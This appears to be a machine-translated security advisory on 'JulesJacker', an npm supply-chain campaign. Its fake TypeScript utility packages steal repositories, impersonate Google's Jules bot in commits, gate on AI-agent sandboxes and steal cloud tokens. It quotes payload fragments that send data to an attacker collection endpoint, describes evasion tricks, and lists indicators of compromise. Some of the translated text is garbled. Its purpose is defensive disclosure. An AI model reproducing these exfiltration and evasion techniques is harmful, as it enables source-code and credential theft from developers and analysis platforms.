TL博士
一位 npm 管理员花了六周时间发布了一些虚假的 TypeScript“实用程序”包,例如: ts-form-utils, ts-project-lint和 ts-enum-helper.
虽然这些软件包会暴露一些看起来很合法的小型验证助手,但真正的有效载荷会在安装或首次引入时执行,并执行主机指纹识别、GitHub 组织发现、存储库克隆和源代码外泄。
该恶意软件专门针对高价值的 GitHub 组织,其中包括多个组织。 Shopify 然后,将存储库归档,并将可达的源代码树提取到集中式集合端点。
作为妥协流程的一部分,有效载荷 commit在冒充谷歌自主编码身份的同时,将 sa 文件放回受害者存储库。 google-labs-jules[bot].
我们追踪了这场名为“ JulesJacker — 跨越多个发布者范围和至少五代有效载荷,包括加密和沙箱感知变体。
最新变种专门针对恶意软件分析基础设施:它仅在分析环境内部激活,窃取云元数据服务帐户令牌,并探测 Kubernetes 控制平面和云存储桶。
所有有效载荷世代共享的主要 IOC 是收集端点 aaronstack[.]com/jules-collect.
严重程度:危急。
攻击原理
每个 JulesJacker 包都遵循相同的模板。 的package.json 它宣传一个无害的 TypeScript 辅助工具,采用 MIT 许可证,且没有链接源代码仓库。 index.js 它导出了一些真正可用的函数——电子邮件正则表达式、枚举映射、代码检查规则表——以便实际导入该包的开发人员能够看到合理的行为。恶意行为存在于其他地方:在…… 安装后 钩子,或底部的块 index.js 该函数会在需要该模块时立即执行。
有效载荷经历了清晰编号的内部阶段演变(运营商自行标记遥测事件)。 sc1-, sc3-, sc4-等等),观察这一演变过程是了解这场运动的最清晰的方式。
第一代和第二代:侦察和git-config窃取
最早的软件包就是直接窃取信息的工具。安装时,它们会收集环境变量、GitHub CLI hosts 文件和全局 git 配置(git config --global --list, git远程 -v然后,它将该捆绑包 POST 到集合端点。这确立了运营者的签名:一个“TypeScript 表单验证工具”的幌子,一个指向单个域的出站信标,以及对开发者凭证而非消费者数据的偏好。
第三代:虚拟机管理程序和内核逃逸探针
其中一个中期版本的攻击策略迅速转向基础设施攻击。它不再窃取配置,而是运行侦察框架进行探测。 AF_VSOCK 套接字、virtio MMIO 区域、 / dev / mem以及内核加固标志,甚至尝试通过 sysrq 触发内核崩溃——这些行为与尝试逃离虚拟机或容器有关。遥测标签(s0-vmm-recon, s1-vmm-vsock-fuzz, s2-vmm-mmio, s3-kernel-probe)明确表达了意图。这个变体显然是针对…… 云沙箱和无服务器运行环境 — 一种用于构建和测试不受信任代码的临时虚拟机。
第三代(SC3):跨仓库写入蠕虫
该攻击活动的核心变成了一个能够自我复制的仓库窃取程序。安装后,该程序会运行一个包含五个阶段的定时序列:
- 阶段 (~100 毫秒):对主机进行指纹识别——主机名、用户信息、git 身份。
- 阶段 (约3秒):通过检查确定受害者所属的组织 git远程 -v然后查找硬编码。 ORG_CONFIG 使用表格和测试存储库访问权限 git ls-remote — 通过攻击者控制的 SSRF 代理进行路由 http://git@192.168.0.1:8080.
- 阶段 (约10秒): git克隆 对目标列表中每个可达的存储库,进行 tarball 和 gzip 压缩,进行 base64 编码,然后分块提取。
- 阶段 (约45秒):访问验证——克隆一个可写仓库,放入一个名为SECURITY-POC.md的文件, commit 作者设置为 google-labs-jules[bot] <161369871+google-labs-jules[bot]@users.noreply.github.com>,消息任务为:更新依赖缓存,然后推送到受害者的主线分支。
硬编码的目标列表并非通用列表,它列举了三十多个目标。 Shopify 按名称查找存储库 — Shopify/Shopify, Shopify/身份, Shopify/账单, Shopify/Vault, Shopify/秘密, Shopify/基础设施, Shopify/.github以及更多——与测试机构一起, AaronStackBarnes操作员似乎可以控制并将其用作写入目标。
第四代(SC4):加密和门控
最新的面向开发者的版本在 SC3 蠕虫之上增加了两层规避机制。
首先,有效载荷不再以明文形式传输。真正的逻辑位于一个经过 AES-256-CBC 加密的数据块中。 lib/.perf.dat其中 IV 位于前 16 个字节。加载器在 index.js 它从连接的字符串片段中重建解密密钥,解密数据块,并运行它 新的函数()甚至连模块名称都进行了拆分,以躲避静态扫描器—— require('crypt' + 'o'), require('f' + 's').
其次,它是主机控制的。其中一个变体仅在特定情况下才能解密和运行。 os.hostname() 等于 开发盒 or ubuntu-fc-uvm (Firecracker 微型虚拟机的默认值)或包含子字符串 开发盒另一个关卡取决于是否存在 .jules/ 工作目录:
javascript // only fires when a Jules agent workspace is present post('sc4-jules-dir', { cwd: cwd, jules_cwd: readDir(cwd + '/.jules'), jules_app: readDir('/app/.jules') }); 换句话说,SC4有效载荷的设计目的是在普通开发者的笔记本电脑上保持休眠状态,仅在自动化AI代理内部才会唤醒。 沙盒环境 运营商其实想做出妥协。
启动实验室:分析基础设施变体
此次活动中最具创新性的方案, ts-enum-helper完全不会攻击开发者或 Shopify。 postinstall.sh 开场便是一扇泄露游戏规则的门:
sh # Only run in malysis GKE environment [ -z "$MALYSIS_ANALYSIS_ID" ] && exit 0 EXFIL="https://aaronstack.com/jules-collect" MD="http://metadata.google.internal/computeMetadata/v1" K8S="https://kubernetes.default.svc" 除非设置了恶意软件分析平台特有的环境变量,否则该脚本不会执行任何操作。设置了该环境变量后,有效载荷便知道它正在专门用于引爆和分析此类软件包的沙箱中运行,并会发起反击。
它首先从实例元数据服务器提取 GCP 服务帐户 OAuth 令牌并将其泄露。然后,使用该令牌扫描…… Kubernetes 控制平面 可通过以下方式联系 kubernetes.default.svc:
- 列出 ClusterRoleBindings、ClusterRoles 和 Nodes;
- 探测跨 Pod、密钥和配置映射 kube-system, 默认, kube-public, kube-node-lease以及分析命名空间;
- 发出 SelfSubjectAccessReview 调用,以精确映射被盗身份被允许执行的操作。
最后,它通过暴力破解的方式,根据硬编码的 GCP 项目 ID 构建 Google Cloud Storage 存储桶名称(罕见签名者-437603-p9)和项目编号,猜测组合,例如 *-构建, *-人工制品和几个 苹果酸中毒 前缀(苹果酸溶血结果, 苹果分析包, 溶血扫描每个响应代码和响应体都会被记录并以 POST 方式发送回同一个服务器。 jules-collect 端点。
这是一个罕见的案例,其供应链有效载荷专门针对防御者自身的基础设施而设计。整个攻击活动的掩饰说法——部分内容以注释的形式出现在有效载荷中,将攻击行为描述为“安全研究概念验证……通过范围过大的 Git 代理令牌进行跨仓库写入”——无论运行时目标是 Shopify 的单体仓库还是分析集群的元数据服务器,其理由都如出一辙。
时间表和范围迁移
JulesJacker并非昙花一现。它是一个持续运营的域名,通过简单地更改名称,成功躲过了域名注册局的查封。
| 日期 | 创建 |
|---|---|
| 2026年XNUMX月中旬 | 第一个软件包出现在原始发布者范围内:TS-utility 外观、环境和 git-config 泄露。 |
| 2026 年 XNUMX 月上旬 | 已发布虚拟机管理程序和内核逃逸侦察变体。 |
| 2026年5月中下旬 | SC3跨仓库写入蠕虫与针对Shopify的有效载荷同时出现, google-labs-jules[bot] 身份冒用。SC4 引入了 AES 加密和主机控制的加载器。 |
| 2026年XNUMX月下旬 | npm 移除了原有的发布者作用域;包名称解析为空的安全占位符。 |
| 同一周 | 操作员迁移到几乎完全相同的类似范围,并重新发布蠕虫,包括分析基础设施变体。 |
防守方应该密切关注迁移过程。第一个瞄准镜的被击落并没有结束这场攻势,甚至没有减缓其速度。攻击者已经部署了一个平行瞄准镜,其名称与原瞄准镜仅一字之差,并在同一周内继续发布。截至本文撰写之时,新瞄准镜的…… ts-form-utils (版本 1.0.0 至 1.1.0),其 ts-project-lint (1.0.0 和 1.1.0)以及独立版本 ts-enum-helper (1.0.0)仍然可安装。
妥协指标
以下所有指标均已与软件包源代码进行比对确认。
| 类型 | 指示符 | 笔记 |
|---|---|---|
| 网络(C2) | aaronstack[.]com/jules-collect | 每一代都只有一个集合端点;接收 JSON 遥测数据和 base64-gzip 存储库 tarball 块。 |
| 网络(SSRF代理) | http://git@192.168.0.1:8080 | 用于访问目标组织存储库的超范围 Git 代理令牌的前端。 |
| 网络(云) | metadata.google.internal/computeMetadata/v1kubernetes.default.svcstorage.googleapis.com/storage/v1/b | 仅供分析基础设施变体用于令牌窃取和 Kubernetes 控制平面侦察。 |
| 身份 | google-labs-jules[bot]161369871+google-labs-jules[bot]@users.noreply.github.com | 伪造的 commit 作者身份被推送到受害主分支。 |
| 文件 | lib/.perf.dat | 采用 AES-256-CBC 加密的有效载荷块;初始化向量 (IV) 存储在前 16 个字节中,密钥动态重建。 index.js. |
| 文件 | SECURITY-POC.md | 掉落和 committed 带着这条消息回到了受害者存储库中 chore: update dependency cache. |
| 文件 | scripts/postinstall.sh | 封闭 $MALYSIS_ANALYSIS_ID; 识别分析基础设施目标变体。 |
| 行为 | os.hostname() 检查 devbox / ubuntu-fc-uvm | 在有效载荷解密和执行之前,对沙箱和人工智能代理环境进行门控。 |
| 行为 | .jules/ 和 /app/.jules 目录读取 | 明确针对人工智能代理的工作空间环境。 |
| 行为 | sc1-, sc3-, sc4-, s0-vmm-recon | 操作员自定义的遥测阶段标签,可用于检测和搜寻。 |
| 云目标 | rare-signer-437603-p9malysis-* 桶猜测 | 分析基础架构变体中嵌入了硬编码的 GCP 项目标识符和存储桶枚举模式。 |
| 包装形状 | TS-utility 包外观,没有存储库字段 | 一致的攻击模板:伪造的 TypeScript 实用程序包,其中嵌入恶意载荷。 postinstall hooks 或附加到 index.js. |




